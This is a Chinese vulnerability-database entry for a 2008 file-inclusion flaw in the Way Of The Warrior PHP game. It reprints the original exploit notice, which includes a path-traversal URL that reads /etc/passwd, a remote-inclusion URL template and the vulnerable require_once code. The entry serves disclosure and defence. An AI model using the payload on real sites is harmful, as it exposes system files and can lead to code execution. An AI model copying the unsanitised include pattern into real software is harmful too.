Way Of The Warrior 'crea.php'远程文件漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116620 漏洞类型 代码注入
发布时间 2008-11-04 更新时间 2009-02-24
CVE编号 CVE-2008-6223 CNNVD-ID CNNVD-200902-455
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6992
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-455
|漏洞详情
WayOfTheWarrior的是一款回合制战斗网页游戏。WayOfTheWarrior(WOTW)5.0版本及其早期版本中存在PHP远程文件包含漏洞。远程攻击者可以借助对crea.php的plancia参数中的一个URL,执行任意PHP代码。.
|漏洞EXP
:::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ wotw <= 5.0 ]   Local/Remote File Inclusion Vulnerability   #
 ##################################################################
 # 
 # Script: "Way Of The Warrior is a web boardgame of fantasy battle..."
 #
 # Script site: http://wotw.altervista.org/
 # Download: http://sourceforge.net/project/platformdownload.php?group_id=178414
 #
 # [LFI] Vuln: http://site.com/wotw_5.0_en/visualizza.php?plancia=../../../../../../etc/passwd%00
 #      
 # Bug: ./wotw_5.0_en/visualizza.php (line: 17)
 #
 # ...
 # 	require_once("plance/".$_GET['plancia'].".php"); 	// LFI
 # ... 	 
 #
 #
 # [RFI] Vuln: http://site.com/wotw_5.0_en/crea.php?plancia=[spread?]
 #      
 # Bug: ./wotw_5.0_en/visualizza.php (lines: 12-19)
 #
 # ...
 # 	if(isset($_GET['plancia']))
 #   	{
 #    	require_once("configurazione/tipi.php");
 #    	require_once("unita/unita.php");
 #    	require_once("plance/plance.php");
 #    	require_once("giocatori/giocatori.php");
 #    	require_once("terreni/terreni.php");
 #    	require_once("".$_GET['plancia']); 			// RFI
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-11-04]
|参考资料

来源:XF
名称:wotw-crea-file-include(46341)
链接:http://xforce.iss.net/xforce/xfdb/46341
来源:BID
名称:32115
链接:http://www.securityfocus.com/bid/32115
来源:SECUNIA
名称:32515
链接:http://secunia.com/advisories/32515
来源:MILW0RM
名称:6992
链接:http://milw0rm.com/exploits/6992